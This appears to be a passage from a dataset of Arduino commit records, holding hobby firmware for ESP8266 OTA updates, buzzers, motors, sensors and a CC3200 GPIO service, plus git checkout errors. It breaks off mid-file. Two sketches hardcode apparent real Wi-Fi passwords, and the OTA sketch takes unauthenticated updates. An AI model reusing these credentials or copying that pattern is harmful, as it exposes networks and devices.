Prek\u00e1\u017eky","message":"Kapitola: Prek\u00e1\u017eky","repos":"Galeje\/Cing","old_file":"Programy\/07_Zastavenie so sledovan\u00edm \u010diary.ino","new_file":"Programy\/07_Zastavenie so sledovan\u00edm \u010diary.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Programy\/07_Zastavenie' did not match any file(s) known to git\nerror: pathspec 'so' did not match any file(s) known to git\nerror: pathspec 'sledovan\u00edm' did not match any file(s) known to git\nerror: pathspec '\u010diary.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"8b027bd7b5297ad0e4c3035c17092f31e8dcbaa6","subject":"Update pause switch source","message":"Update pause switch source\n","repos":"OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015","old_file":"electrical\/Pause Switch\/pauseSwitch_source\/pauseSwitch_source.ino","new_file":"electrical\/Pause Switch\/pauseSwitch_source\/pauseSwitch_source.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'electrical\/Pause' did not match any file(s) known to git\nerror: pathspec 'Switch\/pauseSwitch_source\/pauseSwitch_source.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"09604ceacdbfb818d3a1a000cae5efe93b96458f","subject":"added in OTA example ready to try to get waterelf using OTA","message":"added in OTA example ready to try to get waterelf using OTA\n","repos":"hamishcunningham\/fishy-wifi,hamishcunningham\/fishy-wifi,hamishcunningham\/fishy-wifi,hamishcunningham\/fishy-wifi,hamishcunningham\/fishy-wifi,hamishcunningham\/fishy-wifi","old_file":"ardesp\/DNS_SD_Arduino_OTA\/DNS_SD_Arduino_OTA.ino","new_file":"ardesp\/DNS_SD_Arduino_OTA\/DNS_SD_Arduino_OTA.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <ESP8266mDNS.h>\n#include <WiFiUdp.h>\n\nconst char* host = \"Waterelf\";\nconst char* ssid = \"UnionSt Coworking Members\";\nconst char* pass = \"welcometounionst\";\nconst uint16_t aport = 8266;\n\nWiFiServer TelnetServer(aport);\nWiFiClient Telnet;\nWiFiUDP OTA;\n\nvoid setup() {\n Serial.begin(115200);\n Serial.println(\"\");\n Serial.println(\"Arduino OTA Test2\");\n\n Serial.printf(\"Sketch size: %u\\n\", ESP.getSketchSize());\n Serial.printf(\"Free size: %u\\n\", ESP.getFreeSketchSpace());\n\n WiFi.begin(ssid, pass);\n if(WiFi.waitForConnectResult() == WL_CONNECTED){\n MDNS.begin(host);\n MDNS.addService(\"arduino\", \"tcp\", aport);\n OTA.begin(aport);\n TelnetServer.begin();\n TelnetServer.setNoDelay(true);\n Serial.print(\"IP address: \");\n Serial.println(WiFi.localIP());\n }\n}\n\nvoid loop() {\n \/\/OTA Sketch\n if (OTA.parsePacket()) {\n IPAddress remote = OTA.remoteIP();\n int cmd = OTA.parseInt();\n int port = OTA.parseInt();\n int size = OTA.parseInt();\n\n Serial.print(\"Update Start: ip:\");\n Serial.print(remote);\n Serial.printf(\", port:%d, size:%d\\n\", port, size);\n uint32_t startTime = millis();\n\n WiFiUDP::stopAll();\n\n if(!Update.begin(size)){\n Serial.println(\"Update Begin Error\");\n return;\n }\n\n WiFiClient client;\n if (client.connect(remote, port)) {\n\n uint32_t written;\n while(!Update.isFinished()){\n written = Update.write(client);\n if(written > 0) client.print(written, DEC);\n }\n Serial.setDebugOutput(false);\n\n if(Update.end()){\n client.println(\"OK\");\n Serial.printf(\"Update Success: %u\\nRebooting...\\n\", millis() - startTime);\n ESP.restart();\n } else {\n Update.printError(client);\n Update.printError(Serial);\n }\n } else {\n Serial.printf(\"Connect Failed: %u\\n\", millis() - startTime);\n }\n }\n \/\/IDE Monitor (connected to Serial)\n if (TelnetServer.hasClient()){\n if (!Telnet || !Telnet.connected()){\n if(Telnet) Telnet.stop();\n Telnet = TelnetServer.available();\n } else {\n WiFiClient toKill = TelnetServer.available();\n toKill.stop();\n }\n }\n if (Telnet && Telnet.connected() && Telnet.available()){\n while(Telnet.available())\n Serial.write(Telnet.read());\n }\n if(Serial.available()){\n size_t len = Serial.available();\n uint8_t * sbuf = (uint8_t *)malloc(len);\n Serial.readBytes(sbuf, len);\n if (Telnet && Telnet.connected()){\n Telnet.write((uint8_t *)sbuf, len);\n yield();\n }\n free(sbuf);\n }\n delay(1);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ardesp\/DNS_SD_Arduino_OTA\/DNS_SD_Arduino_OTA.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"344fca98584003b4a70add067f0b0788dcd14b79","subject":"Working wall follower with PID","message":"Working wall follower with PID\n\nNOT VERY ROBUST!\n","repos":"buuav\/hackathon1","old_file":"Ultrasonic Wall Follower\/Wall_AvoidancePID\/Wall_AvoidancePID.ino","new_file":"Ultrasonic Wall Follower\/Wall_AvoidancePID\/Wall_AvoidancePID.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Ultrasonic' did not match any file(s) known to git\nerror: pathspec 'Wall' did not match any file(s) known to git\nerror: pathspec 'Follower\/Wall_AvoidancePID\/Wall_AvoidancePID.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d2ab437232e4cf99a5d69cdad4315535c515681a","subject":"added buzzer ino","message":"added buzzer ino","repos":"TaylorHokanson\/CAAint","old_file":"Modules\/att_buzzer\/att_buzzer.ino","new_file":"Modules\/att_buzzer\/att_buzzer.ino","new_contents":"\/\/ Attiny85 buzzer\n\/\/ Worked for me at 8mhz\n\/\/ Attiny Pin 4 >> 220 Ohm resistor >> Piezo buzzer >> GND\n\/\/ \n\/\/ Largely copied from http:\/\/www.technoblogy.com\/show?20MO\n\n\/\/ Can be 1 or 4\nconst int Output = 4; \n\n\/\/ Cater for 16MHz, 8MHz, or 1MHz clock:\nconst int Clock = ((F_CPU\/1000000UL) == 16) ? 4 : ((F_CPU\/1000000UL) == 8) ? 3 : 0;\nconst uint8_t scale[] PROGMEM = {239,226,213,201,190,179,169,160,151,142,134,127};\n\nvoid setup() {\n\n}\n\nvoid loop() {\n for (int n=0; n<=12; n++) {\n note(n, 4);\n if (n!=4 && n!=11) n++;\n delay(100);\n }\n note(0, 0);\n delay(100);\n}\n\nvoid note (int n, int octave) {\n int prescaler = 8 + Clock - (octave + n\/12);\n if (prescaler<1 || prescaler>15 || octave==0) prescaler = 0;\n DDRB = (DDRB & ~(1<<Output)) | (prescaler != 0)<<Output;\n OCR1C = pgm_read_byte(&scale[n % 12]) - 1;\n GTCCR = (Output == 4)<<COM1B0;\n TCCR1 = 1<<CTC1 | (Output == 1)<<COM1A0 | prescaler<<CS10;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Modules\/att_buzzer\/att_buzzer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"543f1b7c048827d19877dad48c3b552d2d33eb1d","subject":"Test of new simple functions in L9110 library","message":"Test of new simple functions in L9110 library\n","repos":"AllenRDCo\/Arduino","old_file":"L9110_hbridge\/L9110_simple_libtest\/L9110_simple_libtest.ino","new_file":"L9110_hbridge\/L9110_simple_libtest\/L9110_simple_libtest.ino","new_contents":"\/\/ Test L9110 library\n\n#include <L9110.h>\n\nL9110 L9110;\n\n\/\/ setup pin for LiPo monitor\nint LiPoMonitor = 2;\n\n\nvoid setup()\n{\n pinMode(LiPoMonitor, INPUT);\n}\n\nvoid loop()\n{\n if (digitalRead(LiPoMonitor) == LOW)\n {\n L9110.forward();\n delay(3000);\n L9110.fullStop();\n delay(500);\n L9110.reverse();\n delay(3000);\n L9110.fullStop();\n delay(500);\n L9110.forwardSlow();\n delay(3000);\n L9110.fullStop();\n delay(500);\n L9110.reverseSlow();\n delay(3000);\n L9110.fullStop();\n delay(500);\n L9110.left();\n delay(1500);\n L9110.fullStop();\n delay(500);\n L9110.right();\n delay(1500);\n L9110.fullStop();\n delay(3000);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'L9110_hbridge\/L9110_simple_libtest\/L9110_simple_libtest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0e943dde18dfb4b8a1e51a700c7c186570cfa185","subject":"Made changes to dirt display","message":"Made changes to dirt display\n","repos":"WestwoodRobotics\/BEST-2015,WestwoodRobotics\/BEST-2015,WestwoodRobotics\/BEST-2015","old_file":"display\/dirt_led_display\/dirtDisplay\/dirtDisplay.ino","new_file":"display\/dirt_led_display\/dirtDisplay\/dirtDisplay.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/WestwoodRobotics\/BEST-2015.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"69bbb7e7bee80d9117bea7add2b952b7587f4780","subject":"Adding Arduino example code that streams electret microphone through serial port","message":"Adding Arduino example code that streams electret microphone through serial port\n","repos":"damellis\/ESP,damellis\/ESP","old_file":"Arduino\/ElectretMicrophone\/ElectretMicrophone.ino","new_file":"Arduino\/ElectretMicrophone\/ElectretMicrophone.ino","new_contents":"\/****************************************\n * Simple Arduino + Electret Microphone\n ****************************************\/\n\n\/\/ Sample window width in uS (200 uS = 5 kHz)\nconst int sampleWindow = 200;\nunsigned int sample;\n\nvoid setup() {\n Serial.begin(115200);\n}\n\nvoid loop() {\n \/\/ Start of sample window\n unsigned long startMicros = micros();\n\n \/\/ Collects data according to sampleWindow\n while (micros() - startMicros < sampleWindow) { }\n\n \/\/ sample will be [0, 1023]\n sample = analogRead(0);\n\n \/\/ sample \/ 4 will be [0, 256]\n sample = sample >> 2;\n\n \/\/ Writes the byte through serial\n byte b = sample;\n Serial.write(b);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/ElectretMicrophone\/ElectretMicrophone.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"84afd3e29a0afa8d2c8e2b6e78fcf210f32982a6","subject":"Add an example for Arduino Micro (Atmega32u4)","message":"Add an example for Arduino Micro (Atmega32u4)\n","repos":"WereCatf\/PCF8574_ESP","old_file":"examples\/pcf8574_arduinomicro\/pcf8574_arduinomicro.ino","new_file":"examples\/pcf8574_arduinomicro\/pcf8574_arduinomicro.ino","new_contents":"\/* Example sketch for the PCF8574 for the purposes of showing how to use the interrupt-pin.\n\n Attach the positive lead of an LED to PIN7 on the PCF8574 and the negative lead to GND,\n a wire from Arduino-pin 13 to pin 3 on the PCF8474, a wire from the int-pin on the PCF8574\n to Arduino-pin 7 and wires for SDA and SCL to Arduino-pins 2 and 3, respectively.\n\n If all goes well you should see the small blue LED on the ESP-module lighting up and the\n LED connected to the PCF going off, and vice versa. *\/\n\n#include <pcf8574_esp.h>\n\n\/* We need to set up the I2C-bus for the library to use *\/\n#include <Wire.h>\n\n\/\/ Initialize a PCF8574 at I2C-address 0x20\nPCF857x pcf8574(0x20, &Wire);\n\n\/\/If you had a PCF8575 instead you'd use the below format\n\/\/PCF857x pcf8575(0x20, &Wire, true);\n\nbool PCFInterruptFlag = false;\n\nvoid PCFInterrupt() {\n PCFInterruptFlag = true;\n}\n\nvoid setup() {\n Serial.begin(115200);\n delay(5000);\n Serial.println(F(\"Firing up...\"));\n pinMode(13, OUTPUT);\n\n Wire.begin();\n \/\/Set to 400KHz\n Wire.setClock(400000L);\n pcf8574.begin();\n \/\/ Most ready-made PCF8574-modules seem to lack an internal pullup-resistor, so you have to use the MCU-internal one.\n pinMode(7, INPUT_PULLUP);\n pcf8574.resetInterruptPin();\n\n attachInterrupt(digitalPinToInterrupt(7), PCFInterrupt, FALLING);\n}\n\nvoid loop() {\n if(PCFInterruptFlag){\n Serial.println(F(\"Got an interrupt: \"));\n if(pcf8574.read(3)==1) Serial.println(\"Pin 3 is HIGH!\");\n else Serial.println(\"Pin 3 is LOW!\");\n \/\/ DO NOTE: When you write LOW to a pin on a PCF8574 it becomes an OUTPUT.\n \/\/ It wouldn't generate an interrupt if you were to connect a button to it that pulls it HIGH when you press the button.\n \/\/ Any pin you wish to use as input must be written HIGH and be pulled LOW to generate an interrupt.\n pcf8574.write(7, pcf8574.read(3));\n PCFInterruptFlag=false;\n }\n Serial.println(F(\"Blink.\"));\n if(digitalRead(13)==HIGH) digitalWrite(13, LOW);\n else digitalWrite(13, HIGH);\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/pcf8574_arduinomicro\/pcf8574_arduinomicro.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8682a2565cb7213624417ca59fb551c0a9bda615","subject":"demo firmware for TI cc3200 gpio read service","message":"demo firmware for TI cc3200 gpio read service","repos":"bhhwang\/cossb,bhhwang\/cossb,bhhwang\/cossb","old_file":"devices\/cc3200_launchpad\/example_energia_gpio\/example_energia_gpio.ino","new_file":"devices\/cc3200_launchpad\/example_energia_gpio\/example_energia_gpio.ino","new_contents":"\/**\nThis firmware is only for TI CC3200 Launchpad.\nIn order to test the COSSB system, we will support temporary open & public hardware platforms like TI Launchpad, Odroid, Raspberry Pi...\nIf you have any questions for this sample code, please contact us(bhhwang@nsynapse.com).\n*\/\n\n#include <WiFi.h>\n#include <WiFiUdp.h>\n#include <WiFiServer.h>\n#include <WiFiClient.h>\n#include <aJSON.h>\n\n#define USE_UART\n\n#define DEFAULT_UDP_MEMBERSHIP \"225.0.0.37\"\n#define DEFAULT_UDP_PORT 21928\n#define GPIN 5 \/\/P61(GPIO5)\n\nvolatile int yellow_state = LOW;\nvolatile int red_state = LOW;\nvolatile int green_state = LOW;\n\n\/\/access point should only work for b and g\nchar ssid[] = \"nsynapse\";\nchar password[] = \"elec6887\";\nconst char* uuid = \"71ba1b0e47e34a91abb4b1d1bae10960\";\nWiFiServer server(8000);\nWiFiUDP Udp;\nbyte mac[6];\nString mac_string;\n\n\nint io_state = LOW;\nint prev_io_state = LOW;\n\nunsigned char btn = 0x00;\nunsigned char btn_value = 0x00;\n\nenum {IDLE = 0, ANNOUNCE=100, SERVICE=200 };\nunsigned int process_state = IDLE;\n\naJsonObject* announce = aJson.createObject();\naJsonObject* frame = aJson.createObject();\n\nvoid setup()\n{\n pinMode(GPIN, INPUT_PULLUP);\n pinMode(GREEN_LED, OUTPUT);\n pinMode(YELLOW_LED, OUTPUT);\n pinMode(RED_LED, OUTPUT);\n digitalWrite(GREEN_LED, LOW);\n digitalWrite(YELLOW_LED, LOW);\n digitalWrite(RED_LED, LOW);\n \n#ifdef USE_UART\n Serial.begin(115200);\n#endif\n \n WiFi.begin(ssid, password);\n \n while(WiFi.status()!=WL_CONNECTED) {\n net_led();\n delay(300);\n }\n \n while(WiFi.localIP() == INADDR_NONE) {\n net_led();\n delay(300);\n }\n \n WiFi.macAddress(mac);\n for(int i=0;i<sizeof(mac);i++) {\n mac_string += String(mac[sizeof(mac)-1-i],HEX);\n if(i<(sizeof(mac)-1))\n mac_string += \":\";\n }\n \n printWifiStatus();\n\n server.begin();\n Udp.begin(DEFAULT_UDP_PORT);\n \n \/\/device profile\n if(announce) {\n aJson.addStringToObject(announce, \"devicename\", \"TI-CC3200\");\n aJson.addStringToObject(announce, \"uuid\", uuid);\n aJson.addStringToObject(announce, \"mac\", mac_string.c_str());\n aJson.addStringToObject(announce, \"manufacturer\", \"Texas Instrument\");\n aJson.addStringToObject(announce, \"author\", \"cossb\");\n aJson.addStringToObject(announce, \"component\", \"cc3200gpio\");\n aJson.addStringToObject(announce, \"protocol\", \"tcp\");\n aJson.addNumberToObject(announce, \"port\", 8000);\n aJson.addStringToObject(announce, \"command\",\"auth\");\n }\n \n if(frame) {\n aJson.addStringToObject(frame, \"devicename\", \"TI-CC3200\");\n aJson.addStringToObject(frame, \"uuid\", uuid);\n aJson.addStringToObject(frame, \"mac\", mac_string.c_str());\n aJson.addStringToObject(frame, \"component\", \"cc3200gpio\");\n aJson.addStringToObject(frame, \"command\",\"io\");\n aJson.addBooleanToObject(frame, \"switch\", false);\n }\n}\n\nvoid loop()\n{\n switch(process_state)\n {\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ onlu connected to ap\n case IDLE: \n {\n net_led();\n if(WiFi.status()==WL_CONNECTED) {\n process_state = ANNOUNCE;\n digitalWrite(GREEN_LED, HIGH);\n }\n }\n break;\n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ service announce\n case ANNOUNCE: \n {\n digitalWrite(YELLOW_LED, HIGH);\n if(announce)\n {\n Udp.beginPacket(DEFAULT_UDP_MEMBERSHIP, DEFAULT_UDP_PORT);\n Udp.write(aJson.print(announce));\n Udp.endPacket();\n process_state = SERVICE;\n }\n }\n break;\n \n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ service run\n case SERVICE:\n { \n WiFiClient client = server.available();\n if(client) {\n while(client.connected()) {\n digitalWrite(RED_LED, HIGH);\n \n io_state = digitalRead(GPIN);\n \n if(io_state!=prev_io_state) {\n if(io_state==HIGH) {\n update(GPIN, true);\n }\n else if(io_state==LOW) {\n update(GPIN, false);\n }\n client.print(aJson.print(frame));\n delay(50);\n }\n \n prev_io_state = io_state;\n }\n \n digitalWrite(RED_LED, LOW);\n client.stop();\n \n if(WiFi.status()!=WL_CONNECTED) {\n digitalWrite(YELLOW_LED, LOW);\n process_state = IDLE;\n }\n }\n }\n break;\n }\n}\n\n\nvoid printWifiStatus() {\n#ifdef USE_UART\n \/\/ print the SSID of the network you're attached to:\n Serial.print(\"SSID: \");\n Serial.println(WiFi.SSID());\n\n \/\/ print your WiFi shield's IP address:\n IPAddress ip = WiFi.localIP();\n Serial.print(\"IP Address: \");\n Serial.println(ip);\n\n \/\/ print the received signal strength:\n long rssi = WiFi.RSSI();\n Serial.print(\"signal strength (RSSI):\");\n Serial.print(rssi);\n Serial.println(\" dBm\");\n \n Serial.print(\"MAC: \");\n Serial.print(mac[5],HEX);\n Serial.print(\":\");\n Serial.print(mac[4],HEX);\n Serial.print(\":\");\n Serial.print(mac[3],HEX);\n Serial.print(\":\");\n Serial.print(mac[2],HEX);\n Serial.print(\":\");\n Serial.print(mac[1],HEX);\n Serial.print(\":\");\n Serial.println(mac[0],HEX);\n#endif\n}\n\nboolean endsWith(char* inString, char* compString) {\n int compLength = strlen(compString);\n int strLength = strlen(inString);\n \n \/\/compare the last \"compLength\" values of the inString\n int i;\n for (i = 0; i < compLength; i++) {\n char a = inString[(strLength - 1) - i];\n char b = compString[(compLength - 1) - i];\n if (a != b) {\n return false;\n }\n }\n return true;\n}\n\nvoid net_led()\n{\n green_state = !green_state;\n digitalWrite(GREEN_LED, green_state);\n}\n\nvoid connect_led()\n{\n yellow_state = !yellow_state;\n digitalWrite(YELLOW_LED, yellow_state);\n}\n\nvoid serve_led()\n{\n red_state = !red_state;\n digitalWrite(RED_LED, red_state);\n}\n\n\nvoid update(unsigned char io, boolean value) \n{\n if(io==GPIN) {\n aJsonObject* gpio = aJson.getObjectItem(frame, \"switch\");\n gpio->valuebool = value;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'devices\/cc3200_launchpad\/example_energia_gpio\/example_energia_gpio.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6dd824617791b455e89ff75aa02337549539e509","subject":"Add low speed serial transmitter example","message":"Add low speed serial transmitter example\n","repos":"isaias-b\/arduino-examples,isaias-b\/arduino-examples,isaias-b\/arduino-examples","old_file":"serial\/low-speed-transmitter\/low-speed-transmitter.ino","new_file":"serial\/low-speed-transmitter\/low-speed-transmitter.ino","new_contents":"void setup() {\n pinMode(LED_BUILTIN, OUTPUT);\n SerialUSB.begin(2000000);\n}\n\nvoid loop() {\n static int counter = 0;\n SerialUSB.println(counter, DEC);\n counter = (counter + 1) % (1 << 8);\n digitalWrite(LED_BUILTIN, counter >> 7 ? HIGH : LOW);\n delay(20);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'serial\/low-speed-transmitter\/low-speed-transmitter.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3bd54196a6ff29cf369dca9c0ea3096d18dc737c","subject":"Arduino (Promini): Feature: Add Soil Sensor with Linear Actuator code","message":"Arduino (Promini): Feature: Add Soil Sensor with Linear Actuator code\n","repos":"lawchekun\/AgBug,lawchekun\/AgBug,lawchekun\/AgBug","old_file":"Arduino\/soil_sensor_w_linear_actuator\/soil_sensor_w_linear_actuator.ino","new_file":"Arduino\/soil_sensor_w_linear_actuator\/soil_sensor_w_linear_actuator.ino","new_contents":"\/\/ ROS Setup Stuff\n#include <ros.h>\n#include <std_msgs\/String.h>\n#include <std_msgs\/Float32.h>\n\n#include <SHT1x.h>\n#define dataPin 10\n#define clockPin 11\n\n\/\/ Serial Communication Variables\nbool msgReceived = false; \/\/ Flag to indicate receipt of message\nString inString; \/\/ Store user input as string\nchar inChar;\n\n\/\/ Sensor variables\nfloat tempC = 0; \/\/ Temperature in Celsius (-40 - 123.8, -40 on error)\nfloat tempF = 0; \/\/ Temperature in Fahrenheit (-40 - 254.9, -40 on error)\nfloat humidity = 0; \/\/ Humidity (0-100%, negative on error)\n\n\/\/ Initialize sensor object\nSHT1x mySensor(dataPin, clockPin);\n\n\nros::NodeHandle nh;\n\nstd_msgs::Float32 temp_msg;\nstd_msgs::Float32 humid_msg;\n\nros::Publisher pub_temp(\"temperature\", &temp_msg);\nros::Publisher pub_humid(\"humidity\", &humid_msg);\n\n\/\/ For linear actuator\nint incomingByte = 0; \/\/ for incoming serial data\n\nvoid setup() \n{\n\n \/\/ Initialize ROS node\n nh.initNode();\n nh.advertise(pub_temp);\n nh.advertise(pub_humid);\n\n \/\/ Setup code for linear actuator\n \/\/ put your setup code here, to run once:\n #define AIN1 4\n \/\/#define BIN1 7 \n #define AIN2 5\n \/\/#define BIN2 8\n #define PWMA 6\n \/\/myservo.attach(6); \/\/ attaches the servo on pin 9 to the servo object\n \/\/#define PWMB 9 \n #define STBY 9\n pinMode(AIN1, OUTPUT);\n pinMode(AIN2, OUTPUT);\n \n \/\/ Initialize Serial communications\n Serial.begin(57600);\n \n \/\/ Prompt user with instructions\n Serial.println(\"Initializing SHT10 Temp\/Humidity Sensor...\");\n Serial.println(\"Type any of the following commands, followed by the ENTER key:\");\n Serial.println(\"\\t'C\/c': Display temperature in degrees Celsius\");\n Serial.println(\"\\t'F\/f': Display temperature in degrees Fahrenheit\");\n Serial.println(\"\\t'H\/h': Display humidity (0-100%)\");\n Serial.println(\"\\t'': Display all available sensor information\");\n\n \n \n}\n\nvoid loop() \n{\n\n \/\/ Print the temperature info in degrees celsius\n tempC = mySensor.readTemperatureC();\n Serial.print(\"Temperature: \"); Serial.print(tempC);\n Serial.println(\" C\");\n\n humidity = mySensor.readHumidity();\n Serial.print(\"Humidity: \"); Serial.print(humidity);\n Serial.println(\"%\");\n\n \/\/ ROS stuff\n temp_msg.data = tempC;\n humid_msg.data = humidity;\n pub_temp.publish(&temp_msg);\n pub_humid.publish(&humid_msg);\n\n \/\/nh.spinOnce(); \/\/ Placing this here will not make it work\n \n if(msgReceived) \n {\n \n \/\/ Display all sensor data\n if(inString.length() == 0) \n {\n tempC = mySensor.readTemperatureC();\n tempF = mySensor.readTemperatureF();\n humidity = mySensor.readHumidity();\n\n Serial.print(\"Humidity: \"); Serial.print(humidity);\n Serial.println(\"%\");\n Serial.print(\"Temperature: \"); Serial.print(tempC);\n Serial.println(\" C\");\n Serial.print(\"Temperature: \"); Serial.print(tempF);\n Serial.println(\" F\");\n }\n \/\/ Check for desired reading (degrees C, degrees F, or humidity)\n if(inString.charAt(0) == 'C' || inString.charAt(0) == 'c') \n {\n tempC = mySensor.readTemperatureC();\n Serial.print(\"Temperature: \"); Serial.print(tempC);\n Serial.println(\" C\");\n } \n else if(inString.charAt(0) == 'F' || inString.charAt(0) == 'f') \n {\n tempF = mySensor.readTemperatureF();\n Serial.print(\"Temperature: \"); Serial.print(tempF);\n Serial.println(\" F\");\n }\n else if(inString.charAt(0) == 'H' || inString.charAt(0) == 'h') \n {\n humidity = mySensor.readHumidity();\n Serial.print(\"Humidity: \"); Serial.print(humidity);\n Serial.println(\"%\");\n }\n \n \/\/ Reset Serial communication variables\n msgReceived = false;\n inString = \"\";\n }\n\n \/\/ send data only when you receive data:\n if (Serial.available() > 0) \n {\n \/\/ read the incoming byte:\n incomingByte = Serial.read();\n\n \/\/ say what you got:\n Serial.print(\"I received: \");\n Serial.println(incomingByte, DEC);\n\n \/\/ 1\n if (incomingByte == 49)\/\/ Move down\n {\n analogWrite(PWMA, 64);\n digitalWrite(AIN1, HIGH); \/\/ sets the digital pin 13 on\n digitalWrite(AIN2, LOW); \/\/ sets the digital pin 13 off\n\n }\n\n \/\/ 0\n else if (incomingByte == 48) \/\/ Stop\n {\n analogWrite(PWMA, 0);\n }\n\n \/\/ 2\n else if (incomingByte == 50) \/\/ Move up\n {\n analogWrite(PWMA, 64);\n digitalWrite(AIN1, LOW); \/\/ sets the digital pin 13 on\n digitalWrite(AIN2, HIGH); \/\/ LOW, LOW -> Freeze, HIGH, HIGH -> Freeze\n }\n }\n\n \/\/ Waiting for Serial Input\n Serial.println(\"Waiting for Serial Input\");\n \/\/analogWrite(PWMA, 128); \/\/ Use servo, analogWrite and servo both work\n \/\/myservo.write(179); \n \/\/ put your main code here, to run repeatedly:\n\n nh.spinOnce(); \/\/ Place this at the end\n}\n\n\/*\n SerialEvent occurs whenever new data comes in the\n hardware serial RX. This routine is run between each\n time loop() runs, so using delay inside loop can delay\n response. Multiple bytes of data may be available.\n *\/\nvoid serialEvent() \n{\n \/\/ Read from Rx until end of data stream, or until '\\n' is encountered\n while (Serial.available() && !msgReceived) \n {\n inChar = (char)Serial.read(); \/\/ Get the next byte\n \n \/\/ Check for a newline, indicating the end of the message\n if(inChar == '\\n') \n {\n msgReceived = true; \/\/ Set flag to break out of loop and handle message\n } \n else \n {\n inString += inChar; \/\/ Append current character to the input string\n }\n }\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/soil_sensor_w_linear_actuator\/soil_sensor_w_linear_actuator.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"f368a381b45a5b6e8c1a6b48258fe0dda1347f1b","subject":"3427 Update the previous milliseconds count.","message":"3427 Update the previous milliseconds count.\n","repos":"myDevicesIoT\/Cayenne-Arduino-Library,myDevicesIoT\/Cayenne-Arduino-Library,myDevicesIoT\/Cayenne-Arduino-Library,myDevicesIoT\/Cayenne-Arduino-Library","old_file":"examples\/Sensors\/DigitalMotionSensor\/DigitalMotionSensor.ino","new_file":"examples\/Sensors\/DigitalMotionSensor\/DigitalMotionSensor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/myDevicesIoT\/Cayenne-Arduino-Library.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"db3ad519e0d6fe6882f9e543e5ad6d3d5b69c858","subject":"Added dual wheel system ID","message":"Added dual wheel system ID\n","repos":"utdrobotchess\/chess-game","old_file":"Embedded-Arduino\/Testing\/SystemID\/Dual_Wheel_System_ID\/Dual_Wheel_System_ID.ino","new_file":"Embedded-Arduino\/Testing\/SystemID\/Dual_Wheel_System_ID\/Dual_Wheel_System_ID.ino","new_contents":"#include <Arduino.h>\n#include <Wire.h>\n#include <digitalWriteFast.h>\n#include <math.h>\n\n\/*\nThis sketch can be used to collect data to be used in the system ID of two wheel motors simultaneously.\nEssentially it sends a series of independent, random voltage commands to the wheel motors for independent\nrandom durations and then periodically measures the average angular velocity of the wheels over a period.\n\nModify the parameters as desired below, upload the sketch, and place the robot on a clear area on\nthe ground. Establish a terminal connection with the communication port of the XBEE and switch\non the robot. The robot will move quite randomly for a period of time. When the test is complete,\nthe onboard XBEE will transmit the results. Note that all time measurements are in milliseconds \nand the transmitted velocity measurements are in encoder ticks per velocity interval, where the\nvelocity interval is user-defined. One can easily convert this to radians per second using:\n\n w = 1000 * 2 * PI * MEASURED_TICKS \/ TOTAL_TICKS\n\nwhere TOTAL_TICKS is the number of ticks per revolution, which is approximately 3000.\n\nAuthor: Ryan J. Marcotte\nDate: 19 March 2014\n*\/\n\n\/\/#####SYSTEM ID PARAMETERS#######\n\/\/#####MODIFY THESE FIELDS########\n#define RIGHT_TEST_PIN FORWARD_RIGHT \/\/the pin of the right motor you are working with\n \/\/either FORWARD_RIGHT or REVERSE_RIGHT\n#define LEFT_TEST_PIN FORWARD_LEFT \/\/the pin of the left motor you are working with\n \/\/either FORWARD_LEFT or REVERSE_LEFT\nconst int TOTAL_VOL_COMS = 10; \/\/the total number of voltage commands to be executed by the robot\n \/\/increasing beyond ~10, memory can become an issue\n \/\/if the board runs out of memory, it resets itself which can be \n \/\/a challenging bug to diagnose\nconst int MIN_COM_DUR = 5; \/\/the minimum duration a command could be executed for\nconst int MAX_COM_DUR = 2000; \/\/the maximum duration a command could be executed for\nconst int COM_DUR_RESOLUTION = 5; \/\/command durations can take on values as multiples of\n \/\/this parameter; 5 ms recommended\nconst int VELOCITY_INTERVAL = 20; \/\/length of interval (in ms) velocity measurements are taken over\n \/\/20 ms is probably optimal for most situations\n\n\/\/##########END 